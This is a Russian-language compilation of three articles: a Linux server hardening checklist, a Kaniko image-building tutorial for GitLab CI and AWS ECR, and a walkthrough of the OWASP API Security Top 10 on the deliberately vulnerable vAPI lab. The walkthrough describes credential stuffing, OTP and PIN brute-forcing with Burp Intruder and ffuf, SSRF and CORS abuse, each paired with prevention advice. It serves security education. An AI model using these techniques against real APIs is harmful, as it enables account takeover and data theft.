Оглавление

1. Шифрование передачи данных
2. Избегай того, чтобы использовать FTP, Telnet, Rlogin/Rsh сервисов
3. Минимизируй количество установленного ПО, чтобы минимизировать риски
4. Одна сетевая служба на систему или экземпляр ВМ
5. Обновляйся
6. Учетные записи юзверей Linux и строгая парольная политика
7. Включи ограничение по времени использования паролей пользователей Linux для повышения безопасности
8. Ограничение использования старых паролей в Linux
9. Фильтруй учетки без пароля
10. Никто, кроме root, не имеет UID 0
11. Отключи авторизацию под root
12. Отключи ненужные службы
1. По поводу дистрибутивов и служб Linux использующих systemd
13. Физическая защита
14. Отслеживай прослушиваемые порты

Шифрование передачи данных

Все данные, передающиеся по сети, открыты для мониторинга. По возможности данные необходимо шифровать с использованием паролей/сертификатов.

1. Используйте scp, ssh, rsync или sftp для передачи файлов. Также можно примонтировать файловую систему, которая является удаленным сервером или же Вашей домашней директорией. Реализуется это, например, через sshfs;
2. GnuPG позволяет шифровать и подписывать ваши данные и сообщения, имеет универсальную систему управления ключами, а также модули доступа ко всем видам каталогов открытых ключей;
3. OpenVPN - это экономичная, легкая SSL VPN. Другой вариант - попробовать tinc, который использует туннелирование и шифрование для создания защищенной сети между узлами в Интернете или же незащищенной локальной сети;
4. При использовании веб-сервера (NGinx, Apache, Lighttpd), то и к нему будет не лишним прикрутить сертификатик.

Избегай того, чтобы использовать FTP, Telnet, Rlogin/Rsh сервисов

В большинстве сетевых конфигураций имена пользователей, пароли, команды FTP/telnet/rsh и передаваемые файлы могут быть перехвачены любым пользователем, находящимся в той же сети, с помощью сниффера. Общим решением этой проблемы является использование OpenSSH, SFTP или FTPS (FTP over SSL), которые добавляютшифрование к FTP.

Введите следующую команду yum для удаления NIS, rsh и других устаревших служб:

yum erase xinetd ypserv tftp-server telnet-server rsh-server

Если вы используете Debian/Ubuntu, то для удаления небезопасных служб: используйте:

sudo apt-get --purge remove xinetd nis yp-tools tftpd atftpd tftpd-hpa telnetd rsh-server rsh-redone-server

Минимизируй количество установленного ПО, чтобы минимизировать риски

Никому ведь из нас не нужен весь набор установленного ПО. Поэтому не стоит устанавливать все игры ПО, которое Вам не потребуется. Нет человека - нет проблем Нет бесполезного ПО - нет уязвимостей в этом ПО.

Для проверки и удаления нежелательных пакетов с yum:

yum list installed

yum list packageName

yum remove packageName

Для проверки и удаления нежелательных пакетов с apt-get/dpkg:

dpkg --list

dpkg --info packageName

apt-get remove packageName

Одна сетевая служба на систему или экземпляр ВМ

Запускайте различные сетевые службы на отдельных серверах или экземплярах виртуальных машин. Это ограничивает количество других сервисов, которые могут быть скомпрометированы.

Если злоумышленник скомпрометировал веб-сервер, то будет неловко, если он скомпрометирует еще и БД, которая крутилась на этом же сервере.

Обновляйся

Применение патчей безопасности является важной частью сопровождения Linux-систем. Linux предоставляет все необходимые средства для поддержания системы в актуальном состоянии, а также позволяет легко переходить с одной версии на другую. Все обновления безопасности должны быть просмотрены и применены как можно скорее.

yum:

yum update

Debian/Ubuntu

apt-get update && apt-get upgrade

Учетные записи юзверей Linux и строгая парольная политика

Для создания и поддержки учетных записей пользователей используйте команды useradd / usermod. Убедитесь в том, что у вас надежная парольная политика. Например, хороший пароль должен состоять не менее чем из 8 символов, а вообще лучше не менее 12 и включать в себя сочетание букв, цифр, специальных символов, верхнего и нижнего алфавита и т.д. Самое важное - выбрать пароль, который можно запомнить.

Включи ограничение по времени использования паролей пользователей Linux для повышения безопасности

Команда chage изменяет количество дней между сменой пароля и дату последней смены пароля. Эта информация используется системой для определения того, когда пользователь должен сменить свой пароль. Файл /etc/login.defs определяет конфигурацию теневого набора паролей для конкретного сайта, включая настройку старения паролей.

Чтобы узнать информацию об истекающих паролях:
chage -M 99999 userName

Ну или на худой конец Вы можете редактировать /etc/shadow вручную в соответствии со значениями:

{userName}:{password}:{lastpasswdchanged}:{Minimum_days}:{Maximum_days}:{Warn}:{Inactive}:{Expire}:

Где:

1. Minimum_days: Минимальное количество дней, необходимое для смены пароля, т.е. количество дней, оставшихся до того, как пользователю будет разрешено сменить пароль;
2. Maximum_days: Максимальное количество дней, в течение которых действует пароль (после чего пользователь будет вынужден сменить пароль);
3. Warn : Количество дней до истечения срока действия пароля, за которые пользователь будет предупрежден о необходимости смены пароля;
4. Expire : Количество дней с 1 января 1970 года, когда учетная запись отключена, т.е. абсолютная дата, определяющая, когда логин больше не может быть использован.

Но я был не рекомендовал этим заниматься, а сделать по-человечески:

chage -M 60 -m 7 -W 7 userName

Ограничение использования старых паролей в Linux

В Linux можно запретить всем пользователям использовать одни и те же старые пароли. Параметр модуля pam_unix remember может быть использован для настройки количества предыдущих паролей, которые не могут быть использованы повторно.

Фильтруй учетки без пароля

Нехорошо, когда в системе есть пользователь без собственного пароля, поэтому стоит таковых отсеивать:

awk -F: '($2 == "") {print}' /etc/shadow

passwd -l accountName

Никто, кроме root, не имеет UID 0

По хорошему только root может иметь UID 0 с полным доступом. Чтобы отобразить все учетки, имеющие UID 0:

awk -F: '($3 == "0") {print}' /etc/passwd

В идеале Вы должны увидеть только следующее:

root:x:0:0:root:/root:/bin/bash

Если Вы увидите учетные записи помимо root, то удалите их, либо же убедитесь, что данные учетные записи могут использовать UID 0.

Отключи авторизацию под root

Авторизация в систему под root не нужна, как и работа в системе от учетной записи root'a. Если для работы необходимы права суперпользователя, то используй sudo. Это поможет обезопасить систему и позволит не делиться с другими пользователями и администраторами паролем от root. А можно ведь еще и прикрутить уведомления на использование sudo.

Отключи ненужные службы

Все службы и демоны, которые не нужны в работе, стоит убрать из автозапуска. Чтобы посмотреть, что запускается на третьем уровне загрузки:

chkconfig --list | grep '3:on'

А чтобы отключить:

service serviceName stop

chkconfig serviceName off

По поводу дистрибутивов и служб Linux использующих systemd

Для всего описанного выше современные в дистрибутивах с systemd используется systemctl. Например, чтобы выведите список служб, в котором перечислены уровни выполнения, на которых каждая из них настроена на включение или выключение:

systemctl list-unit-files --type=service

systemctl list-dependencies graphical.target

Для отключения служб при загрузке:

systemctl disable service

systemctl disable httpd.service

Посмотреть логи служб всегда поможет journalctl:

journalctl -u network.service

journalctl -u ssh.service

journalctl -f

journalctl -k

Физическая защита

Необходимо защитить физический консольный доступ к Linux-серверам. Настройте BIOS и отключите загрузку с внешних устройств, таких как DVD/CD/USB-носители. Установите пароль на BIOS и загрузчик grub для защиты. Сервер в серверный шкаф, шкаф в помещение, к которому доступ имеет только ограниченный список лиц.

Отслеживай прослушиваемые порты

Для получения списка всех открытых портов и связанного с ними ПО используйте:
netstat -tulpn

ss -tulpn

nmap -sT -O localhost

nmap -sT -O server.example.com

Ну, как мне кажется, это самое основное, что необходимо при hardening'е Linux-систем. Разумеется, можно сделать куда больше. Но это уже вопрос к тому, кто как и на совесть ли выполняет свою работу.

4rchi

tg - https://t.me/bh_cat

Оглавление

• Почему Kaniko?
• Что такое Kaniko?
• Как работает Kaniko?
• Пример использования
• Шаг за шагом
• Заключение
• Советы

Почему Kaniko?

Kaniko решает две проблемы, связанные с методом сборки Docker-in-Docker:

1. Docker-in-Docker требует привилегированного режима для работы, что представляет собой значительную проблему с точки зрения безопасности.
2. Docker-in-Docker обычно снижает производительность и может быть довольно медленным.

Прежде чем продолжить, позвольте мне рассказать вам, что такое Kaniko и как он работает.

Что такое Kaniko?

Kaniko - это инструмент для создания образов контейнеров из Dockerfile внутри контейнера или кластера Kubernetes. Kaniko не зависит от демона Docker и выполняет каждую команду в Dockerfile полностью в пользовательском пространстве. Это позволяет создавать образы контейнеров в средах, в которых нельзя легко или безопасно запустить демон Docker, таких как стандартный кластер Kubernetes.

Коротко говоря, Kaniko позволяет вам создавать и загружать образы в кластере Kubernetes без каких-либо особых привилегий или разрешений и собирать их из Dockerfile без доступа к Docker Daemon. Это фантастический инструмент, потому что теперь нам больше не нужен Docker Daemon для создания образов контейнеров.

Как работает Kaniko?

Образ-исполнитель Kaniko отвечает за создание образа из Dockerfile и его отправку в реестр. Внутри образа-исполнителя мы извлекаем файловую систему базового образа (образ, указанный в инструкции FROM в Dockerfile). Затем мы выполняем команды из Dockerfile, создавая снимки файловой системы в пользовательском пространстве после выполнения каждой команды. После каждой команды мы добавляем слой измененных файлов к базовому образу (если такие есть) и обновляем метаданные образа.

Известные проблемы:

• Kaniko не поддерживает создание Windows-контейнеров.
• Запуск Kaniko в любом образе Docker, кроме официального образа Kaniko, не поддерживается (то есть это может работать нестабильно).
• Это включает в себя копирование исполняемых файлов Kaniko из официального образа в другой образ Docker.
• Kaniko не поддерживает v1 Registry API (Устаревший API реестра v1).

Вы можете узнать больше подробностей о Kaniko здесь.

Теперь, когда вы знаете, что такое Kaniko и как он работает, я покажу вам пример использования, в котором я расскажу, как его настроить с использованием Gitlab CI для создания образов Docker и их отправки в ECR (AWS Elastic Container Registry).

Пример использования

Я покажу вам сценарий, в котором мы используем:

• AWS Elastic Container Registry для хранения образов Docker,
• Gitlab CI для автоматизации процесса создания контейнерных образов,
• Gitlab Runners, запущенные внутри кластера Kubernetes (EKS),
• Инструмент Kaniko, который будет отвечать за создание Docker-образа на основе Dockerfile.

Учитывая, что мы запускаем Gitlab Runner в кластере EKS, первое, что нам нужно сделать, это повысить разрешения IAM-роли, используемой Gitlab Runner.

Если вы не знакомы с Gitlab CI или Gitlab Runners, пожалуйста, ознакомьтесь с этими подробностями:

• Gitlab CI
• Gitlab Runner

Шаг за шагом

Пройдите пошаговую инструкцию, необходимую для настройки Kaniko для создания и загрузки образов в ECR с помощью конвейера Gitlab CI:

Шаг 1. Добавьте следующую политику ECR для каждого репозитория, в котором будут храниться образы, созданные с помощью Kaniko:

Ссылка на код

Шаг 2. В этом сценарии наши Gitlab Runners используют роль IAM, позволяющую Kaniko выполнять Push в ECR без аутентификации. Поэтому нам нужно присоединить следующую политику IAM к роли IAM:

AmazonEC2ContainerRegistryPowerUser

Эта политика включает следующие разрешения:

• ecr – Позволяет принципалам читать и записывать в репозитории, а также читать политики жизненного цикла. Принципалам не предоставляется разрешение на удаление репозиториев или изменение применяемых к ним политик жизненного цикла.

Шаг 3. Создание Dockerfile:

В этом примере мы собираемся создать Dockerfile для установки Terraform и Terragrunt:

Ссылка на код

Шаг 4. Настройте файл Gitlab CI (.gitlab-ci) в корневом каталоге вашего репозитория:

Учитывая, что мы собираемся создать образ с установленными Terraform и Terragrunt, вы увидите некоторые переменные, специфичные для создания этого образа, например, TF_VERSION и TG_VERSION.

Ссылка на код

Заключение

Kaniko - это мощный инструмент для создания образов Docker без Docker Daemon. Для тех, кто работает с Gitlab CI, плюсом является поддержка использования Kaniko. Одним из хороших аргументов в пользу использования Kaniko является кеширование:

• cache=true
• cache-repo <ваш-репозиторий-ECR>

Используя эти два аргумента, вы можете сократить время сборки, потому что Kaniko будет использовать ваш репозиторий ECR для хранения промежуточных слоев образов Docker с целью оптимизации времени сборки.

Советы

Если вы переходите с другого инструмента CI/CD, ознакомьтесь с этой документацией:

• Миграция с CircleCI.
• Миграция с Jenkins.

Если вы не знакомы с Gitlab CI, пожалуйста, найдите более подробную информацию здесь.

Этот документ о безопасности API был опубликован впервые в 2019 году. С тех пор индустрия безопасности API стала более зрелой и развитой. Мы считаем, что этот документ положительно внёс вклад в индустрию, так как он быстро стал эталоном в этой области.

Оглавление

1. Настройка лаборатории
2. OWASP API Security Top 10
1. API1:2023 Broken Object Level Authorization
2. API2:2023 Broken Authentication
3. API3:2023 Broken Object Property Level Authorization
4. API4:2023 Unrestricted Resource Consumption
5. API5:2023 Broken Function Level Authorization
6. API6:2023 Unrestricted Access to Sensitive Business Flows
7. API7:2023 Server Side Request Forgery
8. API8:2023 Security Misconfiguration
9. API9:2023 Improper Inventory Management
10. API10:2023 Unsafe Consumption of APIs
3. Отступление для разъяснений

Настройка лаборатории:

• Скачайте коллекцию Postman и файл среды (environment) vAPI из общедоступного рабочего пространства vAPI.

• Перейдите в Postman и импортируйте коллекции.

• Настройте переменные для коллекции.

OWASP API Security Top 10

API1:2023 Broken Object Level Authorization

Для демонстрации этого примера мы попробуем получить доступ к данным других пользователей, изменив значение ID в Burp Suite.

Также давайте попробуем перейти к пользователю с ID 1, который, вероятно, представляет собой администратора.

Эти снимки экрана показывают, что мы можем просматривать данные других пользователей, к которым у нас нет авторизации, просто изменив значение ID. Это подтверждает уязвимость vAPI в отношении нарушения авторизации на уровне объекта.

Как предотвратить

1. Внедрите правильный механизм авторизации, который зависит от политик и иерархии пользователей.
2. Используйте механизм авторизации для проверки, имеет ли вошедший в систему пользователь доступ к выполнению запрошенного действия с записью в каждой функции, которая использует ввод от клиента для доступа к записи в базе данных.
3. Предпочтительно использовать случайные и непредсказуемые значения в качестве идентификаторов записей (GUID) вместо последовательных или простых чисел.
4. Напишите тесты для оценки уязвимости механизма авторизации. Не развертывайте изменения, которые могут вызвать сбои в тестах.

API2:2023 Broken Authentication

Для демонстрации этой уязвимости у нас нет начальной электронной почты или пароля, установленных во время создания пользователя. Поэтому мы произвольно вводим адрес электронной почты и пароль, отправляем запрос в Burp и затем отправляем запрос в инструмент Intruder.

Мы видим, что позиция для загрузки данных (payload position) уже установлена для электронной почты и пароля.

Кроме того, vAPI содержит список адресов электронной почты и соответствующих паролей, разделенных запятыми. В моем случае этот список находится по пути ~/lab/vapi/Resources/API2_CredentialStuffing/creds.csv. Поэтому я переместил его в каталог vAPI.

Мы также выбираем тип атаки "Pitchfork" в этом случае. Атака "Pitchfork" перебирает разные наборы данных для каждой определенной позиции. Поддерживаются одновременные варианты данных для каждой позиции. Общее количество запросов, создаваемых в ходе атаки, равно количеству данных в наименьшем наборе данных. Атака "Pitchfork" полезна, когда атака требует вставки разных, но связанных данных в несколько мест внутри запроса.

Затем мы загружаем файл creds.csv в качестве данных для атаки.

Для раздела обработки данных для атаки выберите опцию "Соответствие/замена" (Match/replace) и добавьте ,([^\s,]+) в поле "Соответствие" (Match regex), а в поле "Замена" (Replace) оставьте пустым. Для второго набора данных добавьте ([\w.-]+@[a-zA-Z\d.-]+.[a-zA-Z]{2,}) в поле "Соответствие" (Match) и также оставьте поле "Замена" пустым. Затем запустите атаку. Также не забудьте снять флажок "Кодировать символы в URL" (URL-encode these characters) для обоих позиций перед началом атаки.

Отсортируйте результаты в соответствии со статусом и просмотрите адрес электронной почты и пароль, где адрес электронной почты и пароль совпадают.

Используя учетные данные, мы можем получить токен, как показано ниже:

Также,

Эти снимки экрана показывают, что мы можем аутентифицироваться, даже не зная пароль пользователя, просто перебирая его методом "брутфорс".

Как предотвратить

1. Убедитесь, что вы знаете все возможные способы аутентификации в API (мобильные/веб-ссылки, реализующие одноразовую аутентификацию и т. д.). Обсудите с инженерами, какие способы вы упустили.
2. Изучите ваши механизмы аутентификации. Убедитесь, что вы понимаете, что и как они используются. OAuth не является механизмом аутентификации, и таковыми не являются API-ключи.
3. Не изобретайте велосипед в вопросах аутентификации, генерации токенов или хранения паролей. Используйте стандарты.
4. Эндпоинты восстановления учетных данных/восстановления пароля должны рассматриваться как точки входа для аутентификации в терминах защиты от перебора, ограничения частоты запросов и блокировки.
5. Требуйте повторной аутентификации для выполнения чувствительных операций (например, изменение адреса электронной почты владельца учетной записи/номера телефона для двухфакторной аутентификации).
6. Используйте OWASP Authentication Cheatsheet (шпаргалку по аутентификации OWASP).
7. При возможности реализуйте многофакторную аутентификацию.
8. Внедрите механизмы борьбы с перебором, чтобы предотвратить атаки на перебор учетных данных, словарные атаки и атаки перебором на ваших конечных точках аутентификации. Этот механизм должен быть строже, чем обычные механизмы ограничения частоты запросов в ваших API.
9. Реализуйте механизмы блокировки аккаунта/капчи, чтобы предотвратить атаки перебором для конкретных пользователей. Реализуйте проверку на слабые пароли.
10. API-ключи не должны использоваться для аутентификации пользователей. Они должны использоваться только для аутентификации клиентов API.

API3:2023 Broken Object Property Level Authorization

Нарушение уровня авторизации свойств объекта (Broken object property level authorization) относится к уязвимости в безопасности API, при которой управление доступом к отдельным свойствам объекта недостаточно или некорректно применяется. Другими словами, это означает, что API позволяет несанкционированным пользователям получать доступ к определенным чувствительным или приватным свойствам объекта, которые должны быть доступны только определенным пользователям или ролям.

Эта категория объединяет API3:2019 - Избыточное раскрытие данных и API6:2019 - Массовое присвоение, сосредотачивая внимание на корневой причине: отсутствии или неправильной проверке авторизации на уровне свойств объекта. Это приводит к раскрытию или манипулированию информацией со стороны несанкционированных лиц.

Давайте сначала создадим пользователя и попробуем получить информацию о созданном пользователе.

Теперь давайте попробуем установить кредит при создании пользователя. Я не смог реализовать метод PUT для этой конечной точки, поэтому я попробовал установить свойство "кредит" со значением во время создания нового пользователя.

При получении нового пользователя мы видим, что кредит пользователя установлен в заданное значение во время создания.

В контексте API объект - это структура данных, которая содержит различные свойства или атрибуты. В данном случае "кредит" - это свойство пользователя, которое не должно было редактироваться самим пользователем, но здесь пользователь может определить свойство и установить ему значение при создании пользователя. Уровень авторизации должен был обеспечить, чтобы пользователи имели доступ только к тем свойствам, к которым им разрешен доступ, но в данном случае пользователь смог успешно просматривать кредит при получении данных о пользователе и редактировать его. В результате пользователь смог успешно изменить это свойство и увеличить свой кредит.

Как предотвратить

1. При предоставлении доступа к объекту через конечную точку API всегда убедитесь, что пользователь имеет доступ к свойствам объекта, которые вы разглашаете.
2. Избегайте использования общих методов, таких как to_json() и to_string(). Вместо этого выбирайте конкретные свойства объекта, которые вы хотите вернуть.
3. При возможности избегайте использования функций, которые автоматически связывают входные данные клиента с переменными кода, внутренними объектами или свойствами объекта ("Mass Assignment").
4. Разрешайте изменения только свойствам объекта, которые должны обновляться клиентом.
5. Реализуйте механизм валидации ответа на основе схемы как дополнительный уровень безопасности. В рамках этого механизма определите и обеспечьте возврат данных всеми методами API.
6. Сократите структуры возвращаемых данных до минимума, в соответствии с бизнес-функциональными требованиями для конечной точки.

API4:2023 Unrestricted Resource Consumption

Для демонстрации этой уязвимости перейдите к API4 в коллекции, и мы попробуем запросить отправку ОТР-кода на мобильный телефон. Это войдет в учетную запись пользователя, чей номер мобильного телефона мы предоставили. В теле ответа мы видим, что на устройство этого пользователя был отправлен 4-значный код. Поскольку у нас нет доступа к устройству пользователя, у нас нет ОТР-кода.

Но мы можем обойти это с помощью Burp, чтобы получить ОТР-код.

Однако, просматривая ответ на запрос, мы видим, что ОТР-код недействителен.

Теперь мы должны попробовать провести фаззинг с помощью Intruder-а.

Теперь мы выбираем атаку Snipper и редактируем раздел с данными payloads, как показано ниже:

Теперь мы запускаем атаку и ожидаем ответа, в котором OTP дает статус 200.

Теперь мы возвращаемся в Postman и выбираем запрос "Get Details" из списка. Вставляем найденное выше значение ключа в поле "Authorization Token" и отправляем запрос.

Приложение должно иметь какое-то ограничение, которое бы остановило нас от отправки тысяч запросов для поиска ОТР-кода, который соответствует. Это доказывает, что vAPI уязвим для неограниченного потребления ресурсов.

Эксплуатация подобной уязвимости может привести к DoS из-за истощения ресурсов, а также к увеличению операционных затрат, таких как затраты на инфраструктуру из-за повышенного спроса на CPU, увеличения потребности в облачном хранилище и так далее.

Как предотвратить

1. Используйте решение, которое упрощает ограничение потребления памяти, CPU, количества перезапусков, дескрипторов файлов и процессов, такие как контейнеры или серверный код без сервера (например, Lambda-функции).
2. Определите и обеспечьте максимальный размер данных для всех входных параметров и полезных нагрузок, такой как максимальная длина строк, максимальное количество элементов в массивах и максимальный размер загружаемого файла (независимо от того, хранится ли он локально или в облачном хранилище).
3. Реализуйте ограничение на частоту взаимодействия клиента с API в заданный промежуток времени (ограничение частоты).
4. Настройте ограничение частоты в соответствии с бизнес-потребностями. Некоторые конечные точки API могут потребовать более строгих политик.
5. Ограничивайте, сколько раз или как часто один клиент/пользователь API может выполнять одну операцию (например, проверку OTP или запрос восстановления пароля без посещения одноразового URL).
6. Добавьте должную серверную проверку параметров строки запроса и тела запроса, в частности тех, которые управляют количеством записей, возвращаемых в ответе.
7. Настройте ограничения расходов для всех поставщиков услуг/API-интеграций. Если установка ограничений расходов невозможна, настройте оповещения о биллинге.

API5:2023 Broken Function Level Authorization

Для начала создадим пользователя и попробуем получить его данные.

Для демонстрации этой уязвимости мы попробуем получить сведения об администраторе, угадывая несколько конечных точек. Вот некоторые из конечных точек, которые я попытался угадать.

После множества попыток, когда пользователь "something_something" не сработал, я попытался извлечь все данные о пользователях. В этом случае данные об администраторе удалось легко получить. Это подтверждает, что API уязвим к атакам на уровне функционала с нарушенной авторизацией.

Как предотвратить

1. Ваше приложение должно иметь последовательный и легко анализируемый модуль авторизации, который вызывается из всех ваших бизнес-функций. Часто такая защита предоставляется одним или несколькими компонентами, находящимися за пределами кода приложения.
2. Механизм(ы) обеспечения должны по умолчанию отклонять все запросы, требуя явного предоставления разрешений для конкретных ролей на доступ к каждой функции.
3. Проверьте ваши конечные точки API на наличие уязвимостей уровня функции авторизации, учитывая бизнес-логику приложения и иерархию групп.
4. Убедитесь, что все ваши административные контроллеры наследуют от административного абстрактного контроллера, который реализует проверки авторизации на основе группы/роли пользователя.
5. Убедитесь, что административные функции внутри обычного контроллера реализуют проверки авторизации на основе группы и роли пользователя.

API6:2023 Unrestricted Access to Sensitive Business Flows

Эта уязвимость не может быть эксплуатирована в лабораторных условиях. Поэтому я просто попробую объяснить это простыми словами.

Последствия этой уязвимости могут быть значительными и разнообразными. Поскольку злоумышленники могут получить доступ к чувствительным бизнес-потокам, они могут использовать их таким образом, что это наносит ущерб бизнесу. Распространенность этой проблемы считается "широкой", что означает, что это общая проблема, с которой сталкиваются многие API. Обнаружимость этой уязвимости оценивается как "средняя", что указывает на то, что она может не быть сразу очевидной или легко идентифицируемой.

Когда злоумышленники эксплуатируют эту уязвимость, им typically нужно понимать бизнес-модель, поддерживаемую API. Затем они выявляют чувствительные бизнес-потоки и автоматизируют доступ к ним, нанося ущерб бизнесу. Отсутствие всестороннего понимания бизнес-требований API способствует распространенности этой уязвимости, так как разработчики могут не полностью понимать последствия разглашения чувствительных потоков.

Что касается влияния на бизнес, эксплуатация этой уязвимости может повредить организацию разными способами. Например:

• Предотвращение законных пользователей от покупки продукта: Злоумышленники могут манипулировать чувствительным бизнес-потоком, связанным с покупками, что может вызвать сбои в процессе покупки для настоящих клиентов и потенциальные потери доходов для бизнеса.
• 
  Инфляция внутренней экономики игры: Если API связан с игровой платформой, злоумышленники могут использовать чувствительные потоки для создания искусственных ресурсов или игровой валюты, что вызовет дисбаланс в экономике игры и негативно повлияет на игровой опыт других пользователей.

Как предотвратить

Планирование мер по смягчению должно выполняться на двух уровнях:

1. Бизнес — определение бизнес-процессов, которые могут нанести ущерб бизнесу, если их будут чрезмерно использовать.
2. Инженерное — выбор правильных механизмов защиты для смягчения бизнес-риска.

Некоторые механизмы защиты более просты, в то время как другие более сложны в реализации. Для замедления автоматизированных угроз используются следующие методы:

• Идентификация устройства: отказ в обслуживании неожидаемым клиентским устройствам (например, безголовым браузерам) склоняет злоумышленников использовать более сложные решения, что делает их более затратными.
• Обнаружение человека: использование CAPTCHA или более продвинутых биометрических решений (например, анализа структуры набора текста) для определения человека.
• Обнаружение нечеловеческих паттернов: анализ потока пользователя для обнаружения нечеловеческих паттернов (например, пользователь выполнил функции "добавить в корзину" и "завершить покупку" менее чем за одну секунду).
• Рассмотрите блокировку IP-адресов выходных узлов Tor и известных прокси-серверов.

Обеспечьте безопасность и ограничьте доступ к API, которые используются напрямую машинами (например, API разработчиков и B2B API). Они часто становятся легкой мишенью для атакующих, потому что часто не реализуют все необходимые механизмы защиты.

API7:2023 Server Side Request Forgery

Для этого перейдем в папку Arena и подпапку ServerSurfer, а затем отправим GET-запрос.

Здесь я попробовал переключиться наhttps://webhook.site. Здесь мы установим текст, который будет отправлен обратно, когда будет сделан запрос на определенный веб-адрес. Приложение vAPI отображает данные, возвращаемые любым URL, который мы устанавливаем в качестве значения GET-параметра в этом запросе. В данном случае это была просто строка. В другом сценарии это могло бы быть вредной нагрузкой. Это уязвимость SSRF.

Как предотвратить

• Изолируйте механизм получения ресурсов в вашей сети: обычно эти функции направлены на получение удаленных ресурсов, а не внутренних.
• Всякий раз, когда это возможно, используйте списки разрешенных элементов:
• Удаленные источники, с которых ожидается, что пользователи будут загружать ресурсы (например, Google Drive, Gravatar и т. д.).
• Схемы URL и порты.
• Принимаемые типы медиафайлов для конкретной функциональности.
• Отключите HTTP-перенаправления.
• Используйте хорошо протестированный и поддерживаемый парсер URL, чтобы избежать проблем, вызванных несогласованностью разбора URL.
• Проверяйте и очищайте все данные, предоставленные клиентом.
• Не отправляйте клиентам сырые ответы.

API8:2023 Security Misconfiguration

Мы заметим следующие заголовки ответа:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

Это показывает, что политика CORS для этого запроса настроена неправильно, что означает, что он может быть отправлен из стороннего веб-приложения для доступа к этому ресурсу и получения идентификатора пользователя, имени пользователя, пароля и ключа аутентификации.

Для демонстрации этого мы отправляем запрос в Repeater и добавляем пользовательский заголовок запроса Origin: request header.

Здесь наличие Origin: * (звёздочка) сделало эксплуатацию уязвимости легкой, так как мы можем использовать любой адрес сайта и отправить запрос. Это представляет собой нарушение конфигурации безопасности.

Как предотвратить

• Жизненный цикл API должен включать в себя:
• Повторяемый процесс закрепления, который приводит к быстрому и легкому развертыванию должной защищенной среды.
• Задачу по обзору и обновлению конфигураций во всем стеке API. Обзор должен включать в себя файлы оркестрации, компоненты API и облачные службы (например, разрешения для хранилища S3).
• Автоматизированный процесс для непрерывной оценки эффективности конфигурации и настроек во всех средах.
• Кроме того:
• Убедитесь, что всего API-коммуникации от клиента к серверу API и любых компонентов вниз и вверх происходит через зашифрованный канал связи (TLS), независимо от того, является ли это внутренним или общедоступным API.
• Уточните, какие HTTP-глаголы могут использоваться для доступа к каждому API, и отключите все остальные HTTP-глаголы (например, HEAD).
• API, ожидающие доступ из браузерных клиентов (например, веб-приложения на фронтенде), должны, по крайней мере:
• Реализовывать корректную политику Cross-Origin Resource Sharing (CORS).
• Включать соответствующие заголовки безопасности.
• Ограничивать входящие типы контента/форматы данных только теми, которые соответствуют бизнес- и функциональным требованиям.
• Убедитесь, что все серверы в цепочке HTTP-серверов (например, балансировщики нагрузки, обратные и прямые прокси-серверы и серверы внутренней части) обрабатывают входящие запросы единообразно, чтобы избежать проблем с несинхронизацией.
• При необходимости определите и обеспечьте соблюдение всех схем ответных данных API, включая ошибки, чтобы предотвратить отправку атакующим детализации ошибок и другой ценной информации.

API9:2023 Improper Inventory Management

Для демонстрации этой уязвимости мы переходим к API9 в коллекции, выполняем вход и отправляем запрос в Burp. Пересылая его в Repeater и просматривая ответ, мы видим, что API имеет ограничение на количество запросов в 5 и оставшийся лимит 4, что означает, что мы можем попытаться ввести PIN-код только 4 раза.

Попытка просмотра v1 API путем редактирования запроса дала мне данные предыдущей версии v2 API. Кроме того, в этом случае мы не видим ограничений по количеству запросов. Поэтому мы можем отправить столько запросов, сколько захотим для этого API. Для легкого перебора пин-кода в этом случае я использовал инструмент ffuf и этот словарь для предсказания пин-кода.

Результатом выполнения ffuf был пин-код '1655' с кодом состояния 200 в ответе. Позднее я попробовал использовать этот пин-код в запросе, в результате чего мне удалось получить доступ к данным пользователя.

vAPI уязвим для неправильной оценки инвентаря, так как разработчик API не управлял предыдущей версией API, и мы, как пользователи, можем получить к ней доступ и просматривать информацию.

Как предотвратить

• Создайте инвентаризацию всех хостов API и документируйте важные аспекты каждого из них, сосредотачиваясь на среде API (например, производственной, тестовой, разработке), кто должен иметь сетевой доступ к хосту (например, общедоступный, внутренний, партнеры) и версию API.
• Сделайте инвентаризацию интегрированных служб и документируйте важные аспекты, такие как их роль в системе, какие данные обмениваются (поток данных) и их чувствительность.
• Документируйте все аспекты вашего API, такие как аутентификация, ошибки, перенаправления, ограничение скорости, политика Cross-Origin Resource Sharing (CORS), и конечные точки, включая их параметры, запросы и ответы.
• Автоматизируйте генерацию документации, применяя открытые стандарты. Включите построение документации в ваш конвейер непрерывной интеграции/непрерывной доставки (CI/CD).
• Делайте документацию API доступной только для тех, кому разрешено использовать API.
• Используйте внешние средства защиты, такие как специализированные средства безопасности API, для всех выставленных версий ваших API, а не только для текущей версии в производстве.
• Избегайте использования производственных данных в непроизводственных развертываниях API. Если это невозможно, такие конечные точки должны получать такое же обращение в плане безопасности, как и производственные.
• Когда новые версии API включают улучшения в безопасности, проводите анализ рисков, чтобы определить меры по их минимизации, необходимые для более старых версий. Например, возможно ли применить улучшения без нарушения совместимости API или требуется либо быстро убрать старую версию, либо заставить всех клиентов перейти на последнюю версию.

API10:2023 Unsafe Consumption of APIs

Это относится к небезопасной интеграции и использованию API, особенно при взаимодействии с API сторонних поставщиков. Чтобы эффективно проверить и продемонстрировать эту уязвимость, было бы идеально иметь доступ к API стороннего поставщика, о котором известно, что в нем есть некоторые уязвимости или нарушения конфигурации безопасности.

В лабораторной среде эта уязвимость не может быть эксплуатирована, так как в ней не используется никакой API стороннего поставщика. Так что я просто постараюсь объяснить это простыми словами.

Основной уязвимостью в целевом API является то, что разработчики часто доверяют и не проводят тщательной проверки конечных точек, взаимодействующих с внешними или сторонними API. Это доверие основано на предположении, что у внешних API есть достаточные меры безопасности, такие как транспортная безопасность (шифрование), механизмы аутентификации/авторизации и проверка и очистка входных данных. Однако это доверие может привести к игнорированию потенциальных уязвимостей в этих интегрированных API или службах. Последствия этой уязвимости могут быть серьезными и разнообразными. Если злоумышленник успешно эксплуатирует эту слабость, он может получить несанкционированный доступ к чувствительной информации, которую целевое API извлекает из скомпрометированных внешних API или служб. Это может привести к утечкам данных и разглашению конфиденциальной информации.

